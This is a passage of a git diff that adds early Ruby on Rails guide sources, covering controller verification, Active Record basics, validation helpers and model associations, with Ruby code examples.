+Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the `params`, `session` or `flash` hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the link:http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html[API documentation] as "essentially a special kind of before_filter".
+
+Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
+
+[source, ruby]
+---------------------------------------
+class LoginsController < ApplicationController
+
+ verify :params => [:username, :password],
+ :render => {:action => "new"},
+ :add_flash => {:error => "Username and password required to log in"}
+
+ def create
+ @user = User.authenticate(params[:username], params[:password])
+ if @user
+ flash[:notice] = "You're logged in"
+ redirect_to root_url
+ else
+ render :action => "new"
+ end
+ end
+
+end
+---------------------------------------
+
+Now the `create` action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the `:only` and `:except` options just like a filter:
+
+[source, ruby]
+---------------------------------------
+class LoginsController < ApplicationController
+
+ verify :params => [:username, :password],
+ :render => {:action => "new"},
+ :add_flash => {:error => "Username and password required to log in"},
+ :only => :create # Only run this verification for the "create" action
+
+end
+---------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/active_record_basics.txt b/vendor/rails/railties/doc/guides/source/active_record_basics.txt
new file mode 100644
index 00000000..892adb2d
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/active_record_basics.txt
@@ -0,0 +1,181 @@
+Active Record Basics
+====================
+
+Active Record is a design pattern that mitigates the mind-numbing mental gymnastics often needed to get your application to communicate with a database. This guide uses a mix of real-world examples, metaphors and detailed explanations of the actual Rails source code to help you make the most of ActiveRecord.
+
+After reading this guide readers should have a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make them a stronger and better developer.
+
+== ORM The Blueprint of Active Record
+
+If Active Record is the engine of Rails then ORM is the blueprint of that engine. ORM is short for “Object Relational Mapping†and is a programming concept used to make structures within a system relational. As a thought experiment imagine the components that make up a typical car. There are doors, seats, windows, engines etc. Viewed independently they are simple parts, yet when bolted together through the aid of a blueprint, the parts become a more complex device. ORM is the blueprint that describes how the individual parts relate to one another and in some cases infers the part’s purpose through the way the associations are described.
+
+== Active Record The Engine of Rails
+
+Active Record is a design pattern used to access data within a database. The name “Active Record†was coined by Martin Fowler in his book “Patterns of Enterprise Application Architectureâ€. Essentially, when a record is returned from the database instead of being just the data it is wrapped in a class, which gives you methods to control that data with. The rails framework is built around the MVC (Model View Controller) design patten and the Active Record is used as the default Model.
+
+The Rails community added several useful concepts to their version of Active Record, including inheritance and associations, which are extremely useful for web applications. The associations are created by using a DSL (domain specific language) of macros, and inheritance is achieved through the use of STI (Single Table Inheritance) at the database level.
+
+By following a few simple conventions the Rails Active Record will automatically map between:
+
+* Classes & Database Tables
+* Class attributes & Database Table Columns
+
+=== Rails Active Record Conventions
+Here are the key conventions to consider when using Active Record.
+
+==== Naming Conventions
+Database Table - Plural with underscores separating words i.e. (book_clubs)
+Model Class - Singular with the first letter of each word capitalized i.e. (BookClub)
+Here are some additional Examples:
+
+[grid="all"]
+`-------------`---------------
+Model / Class Table / Schema
+----------------------------
+Post posts
+LineItem line_items
+Deer deer
+Mouse mice
+Person people
+----------------------------
+
+==== Schema Conventions
+
+To take advantage of some of the magic of Rails database tables must be modeled
+to reflect the ORM decisions that Rails makes.
+
+[grid="all"]
+`-------------`---------------------------------------------------------------------------------
+Convention
+-------------------------------------------------------------------------------------------------
+Foreign keys These fields are named table_id i.e. (item_id, order_id)
+Primary Key Rails automatically creates a primary key column named "id" unless told otherwise.
+-------------------------------------------------------------------------------------------------
+
+==== Magic Field Names
+
+When these optional fields are used in your database table definition they give the Active Record
+instance additional features.
+
+NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword
+used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous
+keyword like "context", that may still accurately describe the data you are modeling.
+
+[grid="all"]
+`------------------------`------------------------------------------------------------------------------
+Attribute Purpose
+------------------------------------------------------------------------------------------------------
+created_at / created_on Rails stores the current date & time to this field when creating the record.
+updated_at / updated_on Rails stores the current date & time to this field when updating the record.
+lock_version Adds optimistic locking to a model link:http://api.rubyonrails.com/classes/ActiveRecord/Locking.html[more about optimistic locking].
+type Specifies that the model uses Single Table Inheritance link:http://api.rubyonrails.com/classes/ActiveRecord/Base.html[more about STI].
+id All models require an id. the default is name is "id" but can be changed using the "set_primary_key" or "primary_key" methods.
+_table_name_\_count Can be used to caches the number of belonging objects on the associated class.
+------------------------------------------------------------------------------------------------------
+
+By default rails assumes all tables will use “id†as their primary key to identify each record. Though fortunately you won’t have explicitly declare this, Rails will automatically create that field unless you tell it not to.
+
+For example suppose you created a database table called cars:
+
+[source, sql]
+-------------------------------------------------------
+mysql> CREATE TABLE cars (
+ id INT,
+ color VARCHAR(100),
+ doors INT,
+ horses INT,
+ model VARCHAR(100)
+ );
+-------------------------------------------------------
+
+Now you created a class named Car, which is to represent an instance of a record from your table.
+
+[source, ruby]
+-------------------------------------------------------
+class Car
+end
+-------------------------------------------------------
+
+As you might expect without defining the explicit mappings between your class and the table it is impossible for Rails or any other program to correctly map those relationships.
+
+[source, ruby]
+-------------------------------------------------------
+>> c = Car.new
+=> #
+>> c.doors
+NoMethodError: undefined method `doors' for #
+ from (irb):2
+-------------------------------------------------------
+
+Now you could define a door methods to write and read data to and from the database. In a nutshell this is what ActiveRecord does. According to the Rails API:
+“Active Record objects don‘t specify their attributes directly, but rather infer them from the table definition with which they‘re linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.â€
+Lets try our Car class again, this time inheriting from ActiveRecord.
+
+[source, ruby]
+-------------------------------------------------------
+class Car < ActiveRecord::Base
+end
+-------------------------------------------------------
+
+Now if we try to access an attribute of the table ActiveRecord automatically handles the mappings for us, as you can see in the following example.
+
+[source, ruby]
+-------------------------------------------------------
+>> c = Car.new
+=> #
+>> c.doors
+=> nil
+-------------------------------------------------------
+
+Rails further extends this model by giving each ActiveRecord a way of describing the variety of ways records are associated with one another. We will touch on some of these associations later in the guide but I encourage readers who are interested to read the guide to ActiveRecord associations for an in-depth explanation of the variety of ways rails can model associations.
+- Associations between objects controlled by meta-programming macros.
+
+== Philosophical Approaches & Common Conventions
+Rails has a reputation of being a zero-config framework which means that it aims to get you off the ground with as little pre-flight checking as possible. This speed benefit is achieved by following “Convention over Configurationâ€, which is to say that if you agree to live with the defaults then you benefit from a the inherent speed-boost. As Courtneay Gasking put it to me once “You don’t want to off-road on Railsâ€. ActiveRecord is no different, while it’s possible to override or subvert any of the conventions of AR, unless you have a good reason for doing so you will probably be happy with the defaults. The following is a list of the common conventions of ActiveRecord
+
+== ActiveRecord Magic
+ - timestamps
+ - updates
+
+== How ActiveRecord Maps your Database.
+- sensible defaults
+- overriding conventions
+
+== Growing Your Database Relationships Naturally
+
+== Attributes
+ - attribute accessor method. How to override them?
+ - attribute?
+ - dirty records
+ -
+== ActiveRecord handling the CRUD of your Rails application - Understanding the life-cycle of an ActiveRecord
+
+== Validations & Callbacks
+- Validations
+ * create!
+ * validates_acceptance_of
+ * validates_associated
+ * validates_confirmation_of
+ * validates_each
+ * validates_exclusion_of
+ * validates_format_of
+ * validates_inclusion_of
+ * validates_length_of
+ * validates_numericality_of
+ * validates_presence_of
+ * validates_size_of
+ * validates_uniqueness_of
+ - Callback
+ * (-) save
+ * (-) valid
+ * (1) before_validation
+ * (2) before_validation_on_create
+ * (-) validate
+ * (-) validate_on_create
+ * (3) after_validation
+ * (4) after_validation_on_create
+ * (5) before_save
+ * (6) before_create
+ * (-) create
+ * (7) after_create
+ * (8) after_save
diff --git a/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt b/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt
new file mode 100644
index 00000000..fd6eb86b
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt
@@ -0,0 +1,404 @@
+Active Record Validations and Callbacks
+=======================================
+
+This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.
+
+After reading this guide and trying out the presented concepts, we hope that you'll be able to:
+
+* Correctly use all the built-in Active Record validation helpers
+* Create your own custom validation methods
+* Work with the error messages generated by the validation proccess
+* Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved.
+* Create special classes that encapsulate common behaviour for your callbacks
+* Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations.
+
+== Motivations to validate your Active Record objects
+
+The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.
+
+There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:
+
+* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level.
+* Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
+* Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods.
+
+== How it works
+
+=== When does validation happens?
+
+There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it'll be recorded to it's table. Active Record uses the +new_record?+ instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+end
+------------------------------------------------------------------
+
+We can see how it works by looking at the following script/console output:
+
+------------------------------------------------------------------
+>> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979"))
+=> #
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+------------------------------------------------------------------
+
+Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either +save+, +update_attribute+ or +update_attributes+) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.
+
+=== The meaning of 'valid'
+
+For verifying if an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The proccess is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection.
+
+== The declarative validation helpers
+
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's +errors+ collection, this message being associated with the field being validated.
+
+Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.
+
+All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one the values +:save+ (it's the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.
+
+=== The +validates_acceptance_of+ helper
+
+Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_acceptance_of :terms_of_service
+end
+------------------------------------------------------------------
+
+The default error message for +validates_acceptance_of+ is "_must be accepted_"
+
++validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_acceptance_of :terms_of_service, :accept => 'yes'
+end
+------------------------------------------------------------------
+
+
+=== The +validates_associated+ helper
+
+You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
+
+[source, ruby]
+------------------------------------------------------------------
+class Library < ActiveRecord::Base
+ has_many :books
+ validates_associated :books
+end
+------------------------------------------------------------------
+
+This validation will work with all the association types.
+
+CAUTION: Pay attention not to use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
+
+The default error message for +validates_associated+ is "_is invalid_". Note that the errors for each failed validation in the associated objects will be set there and not in this model.
+
+=== The +validates_confirmation_of+ helper
+
+You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_confirmation_of :email
+end
+------------------------------------------------------------------
+
+In your view template you could use something like
+------------------------------------------------------------------
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+------------------------------------------------------------------
+
+NOTE: This check is performed only if +email_confirmation+ is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide):
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_confirmation_of :email
+ validates_presence_of :email_confirmation
+end
+------------------------------------------------------------------
+
+The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_"
+
+=== The +validates_each+ helper
+
+This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_each :name, :surname do |model, attr, value|
+ model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
+ end
+end
+------------------------------------------------------------------
+
+The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.
+
+=== The +validates_exclusion_of+ helper
+
+This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
+
+[source, ruby]
+------------------------------------------------------------------
+class MovieFile < ActiveRecord::Base
+ validates_exclusion_of :format, :in => %w(mov avi), :message => "Extension %s is not allowed"
+end
+------------------------------------------------------------------
+
+The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask.
+
+The default error message for +validates_exclusion_of+ is "_is not included in the list_".
+
+=== The +validates_format_of+ helper
+
+This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the +:with+ option.
+
+[source, ruby]
+------------------------------------------------------------------
+class Product < ActiveRecord::Base
+ validates_format_of :description, :with => /^[a-zA-Z]+$/, :message => "Only letters allowed"
+end
+------------------------------------------------------------------
+
+The default error message for +validates_format_of+ is "_is invalid_".
+
+=== The +validates_inclusion_of+ helper
+
+This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
+
+[source, ruby]
+------------------------------------------------------------------
+class Coffee < ActiveRecord::Base
+ validates_inclusion_of :size, :in => %w(small medium large), :message => "%s is not a valid size"
+end
+------------------------------------------------------------------
+
+The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask.
+
+The default error message for +validates_inclusion_of+ is "_is not included in the list_".
+
+=== The +validates_length_of+ helper
+
+This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_length_of :name, :minimum => 2
+ validates_length_of :bio, :maximum => 500
+ validates_length_of :password, :in => 6..20
+ validates_length_of :registration_number, :is => 6
+end
+------------------------------------------------------------------
+
+The possible length constraint options are:
+
+* +:minimum+ - The attribute cannot have less than the specified length.
+* +:maximum+ - The attribute cannot have more than the specified length.
+* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range.
+* +:is+ - The attribute length must be equal to a given value.
+
+The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the +:message+ option to specify an error message.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed."
+end
+------------------------------------------------------------------
+
+This helper has an alias called +validates_size_of+, it's the same helper with a different name. You can use it if you'd like to.
+
+=== The +validates_numericallity_of+ helper
+
+This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed.
+
+If you use +:integer_only+ set to +true+, then it will use the +$$/\A[+\-]?\d+\Z/$$+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using +Kernel.Float+.
+
+[source, ruby]
+------------------------------------------------------------------
+class Player < ActiveRecord::Base
+ validates_numericallity_of :points
+ validates_numericallity_of :games_played, :integer_only => true
+end
+------------------------------------------------------------------
+
+The default error message for +validates_numericallity_of+ is "_is not a number_".
+
+=== The +validates_presence_of+ helper
+
+This helper validates that the attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty).
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_presence_of :name, :login, :email
+end
+------------------------------------------------------------------
+
+NOTE: If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.
+
+[source, ruby]
+------------------------------------------------------------------
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+ validates_presence_of :order_id
+end
+------------------------------------------------------------------
+
+NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true
+
+The default error message for +validates_presence_of+ is "_can't be empty_".
+
+=== The +validates_uniqueness_of+ helper
+
+This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.
+
+[source, ruby]
+------------------------------------------------------------------
+class Account < ActiveRecord::Base
+ validates_uniqueness_of :email
+end
+------------------------------------------------------------------
+
+The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.
+
+There is a +:scope+ option that you can use to specify other attributes that must be used to define uniqueness:
+
+[source, ruby]
+------------------------------------------------------------------
+class Holiday < ActiveRecord::Base
+ validates_uniqueness_of :name, :scope => :year, :message => "Should happen once per year"
+end
+------------------------------------------------------------------
+
+There is also a +:case_sensitive+ option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_uniqueness_of :name, :case_sensitive => false
+end
+------------------------------------------------------------------
+
+The default error message for +validates_uniqueness_of+ is "_has already been taken_".
+
+== Common validation options
+
+There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which we'll cover right at the next topic.
+
+=== The +:allow_nil+ option
+
+You may use the +:allow_nil+ option everytime you just want to trigger a validation if the value being validated is not +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+.
+
+[source, ruby]
+------------------------------------------------------------------
+class Coffee < ActiveRecord::Base
+ validates_inclusion_of :size, :in => %w(small medium large),
+ :message => "%s is not a valid size", :allow_nil => true
+end
+------------------------------------------------------------------
+
+=== The +:message+ option
+
+As stated before, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
+
+=== The +:on+ option
+
+As stated before, the +:on+ option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_uniqueness_of :email, :on => :create # => it will be possible to update email with a duplicated value
+ validates_numericallity_of :age, :on => :update # => it will be possible to create the record with a 'non-numerical age'
+ validates_presence_of :name, :on => :save # => that's the default
+end
+------------------------------------------------------------------
+
+== Conditional validation
+
+Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
+
+=== Using a symbol with the +:if+ and +:unless+ options
+
+You can associated the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
+
+[source, ruby]
+------------------------------------------------------------------
+class Order < ActiveRecord::Base
+ validates_presence_of :card_number, :if => :paid_with_card?
+
+ def paid_with_card?
+ payment_type == "card"
+ end
+end
+------------------------------------------------------------------
+
+=== Using a string with the +:if+ and +:unless+ options
+
+You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_presence_of :surname, :if => "name.nil?"
+end
+------------------------------------------------------------------
+
+=== Using a Proc object with the +:if+ and :+unless+ options
+
+Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.
+
+[source, ruby]
+------------------------------------------------------------------
+class Account < ActiveRecord::Base
+ validates_confirmation_of :password, :unless => Proc.new { |a| a.password.blank? }
+end
+------------------------------------------------------------------
+
+== Writing your own validation methods
+
+When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the +validate+, +validate_on_create+ or +validate_on_update+ methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's +errors+ collection.
+
+[source, ruby]
+------------------------------------------------------------------
+class Invoice < ActiveRecord::Base
+ def validate_on_create
+ errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
+ end
+end
+------------------------------------------------------------------
+
+If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of +validate+, +validate_on_create+ or +validate_on_update+ methods, passing it the symbols for the methods' names.
+
+[source, ruby]
+------------------------------------------------------------------
+class Invoice < ActiveRecord::Base
+ validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_more_than_total_value
+
+ def expiration_date_cannot_be_in_the_past
+ errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
+ end
+
+ def discount_cannot_be_greater_than_total_value
+ errors.add(:discount, "can't be greater than total value") unless discount <= total_value
+ end
+end
+------------------------------------------------------------------
+
+== Changelog
+
+http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks
diff --git a/vendor/rails/railties/doc/guides/source/association_basics.txt b/vendor/rails/railties/doc/guides/source/association_basics.txt
new file mode 100644
index 00000000..5ba61664
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/association_basics.txt
@@ -0,0 +1,1840 @@
+A Guide to Active Record Associations
+=====================================
+
+This guide covers the association features of Active Record. By referring to this guide, you will be able to:
+
+* Declare associations between Active Record models
+* Understand the various types of Active Record associations
+* Use the methods added to your models by creating associations
+
+== Why Associations?
+
+Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+-------------------------------------------------------
+
+Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
+
+[source, ruby]
+-------------------------------------------------------
+@order = Order.create(:order_date => Time.now, :customer_id => @customer.id)
+-------------------------------------------------------
+
+Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
+
+[source, ruby]
+-------------------------------------------------------
+@orders = Order.find_by_customer_id(@customer.id)
+@orders.each do |order|
+ order.destroy
+end
+@customer.destroy
+-------------------------------------------------------
+
+With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+-------------------------------------------------------
+
+With this change, creating a new order for a particular customer is easier:
+
+[source, ruby]
+-------------------------------------------------------
+@order = @customer.orders.create(:order_date => Time.now)
+-------------------------------------------------------
+
+Deleting a customer and all of its orders is _much_ easier:
+
+[source, ruby]
+-------------------------------------------------------
+@customer.destroy
+-------------------------------------------------------
+
+To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+== The Types of Associations
+
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
+
+* +belongs_to+
+* +has_one+
+* +has_many+
+* +has_many :through+
+* +has_one :through+
+* +has_and_belongs_to_many+
+
+In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
+=== The +belongs_to+ Association
+
+A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+-------------------------------------------------------
+
+image:images/belongs_to.png[belongs_to Association Diagram]
+
+=== The +has_one+ Association
+
+A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+-------------------------------------------------------
+
+image:images/has_one.png[has_one Association Diagram]
+
+=== The +has_many+ Association
+
+A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+-------------------------------------------------------
+
+NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
+
+image:images/has_many.png[has_many Association Diagram]
+
+=== The +has_many :through+ Association
+
+A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Physician < ActiveRecord::Base
+ has_many :appointments
+ has_many :patients, :through => :appointments
+end
+
+class Appointment < ActiveRecord::Base
+ belongs_to :physician
+ belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+ has_many :appointments
+ has_many :physicians, :through => :appointments
+end
+-------------------------------------------------------
+
+image:images/has_many_through.png[has_many :through Association Diagram]
+
+The +has_many :through+ association is also useful for setting up "shortcuts" through nested :+has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Document < ActiveRecord::Base
+ has_many :sections
+ has_many :paragraphs, :through => :sections
+end
+
+class Section < ActiveRecord::Base
+ belongs_to :document
+ has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+ belongs_to :section
+end
+-------------------------------------------------------
+
+=== The +has_one :through+ Association
+
+A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account
+ has_one :account_history, :through => :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+ belongs_to :account
+end
+-------------------------------------------------------
+
+image:images/has_one_through.png[has_one :through Association Diagram]
+
